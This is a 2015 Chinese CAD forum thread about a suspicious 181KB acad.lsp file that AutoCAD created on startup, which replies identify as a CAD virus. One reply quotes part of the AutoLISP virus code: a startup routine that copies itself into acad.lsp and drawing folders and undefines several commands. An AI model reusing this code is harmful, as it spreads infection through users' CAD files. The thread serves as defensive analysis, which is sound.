明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 1475|回复: 9

[源码] CAD启动自动生成的acad.lsp

[复制链接]
发表于 2015-9-11 13:27:21 | 显示全部楼层 |阅读模式
无意中发现,CAD启动自动生成的acad.lsp,怎么有181KB,好像是源码,让大家看下

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x
发表于 2015-9-11 14:46:04 | 显示全部楼层
病毒????
发表于 2015-9-11 17:41:37 | 显示全部楼层


附件下载时直接被挡驾了...

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x
发表于 2015-9-11 18:06:15 | 显示全部楼层
这是中了CAD病毒的表现,杀下毒
发表于 2015-9-11 18:42:53 | 显示全部楼层
内容还挺丰富,虽有乱码,但没找到“毒码”。
发表于 2015-9-11 19:44:28 | 显示全部楼层
小红伞直接报毒。
 楼主| 发表于 2015-9-11 21:10:47 | 显示全部楼层
请问这帖子怎么删除,大家都不要再下载了,谢谢大家.
发表于 2015-9-11 22:55:00 | 显示全部楼层
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
                   )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq        ns1 ""
        ns2 ""
        )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
             (setq ns1 ns2)
             (setq ns2 wz)
             )
           (if (> (strlen ns1) 14)
             (if (= (substr ns1 8 7) "acadiso")
               (setq lspbj 1)
               )
             )
           (close wjm)
           )
    )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
           (setq newacad (strcat path "acadiso.lsp"))
           (if (= lspbj 0)
             (progn (setq wjqm (strcat path "acad.lsp"))
                    (setq wjm (open wjqm "a"))
                    (write-line
                      (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
                      )
                    (write-line "(princ)" wjm)
                    (close wjm)
                    )
             )
           (writeapp)
           )
    (progn (if (/= nowdwg "Drawing.dwg")
             (progn (setq oldacad (findfile "acadiso.lsp"))
                    (setq newacad (strcat dwgpath "acad.lsp"))
                    (writeapp)
                    )
             )
           )
    )
  (command "undefine" "attedit")
  (command "undefine" "xref")
  (command "undefine" "xbind")
  (setvar "cmdecho" old_cmd)
  (princ)
  )

这一段,是典型的病毒
发表于 2015-9-12 10:29:04 | 显示全部楼层
zzyong00 发表于 2015-9-11 22:55
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm ...

undefine .这几个命令貌似变成了insert
发表于 2015-9-18 11:56:48 | 显示全部楼层
xyp1964 发表于 2015-9-11 18:42
内容还挺丰富,虽有乱码,但没找到“毒码”。

院长请教下,啥样的码是毒码?
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2025-5-17 23:36 , Processed in 0.209921 second(s), 26 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表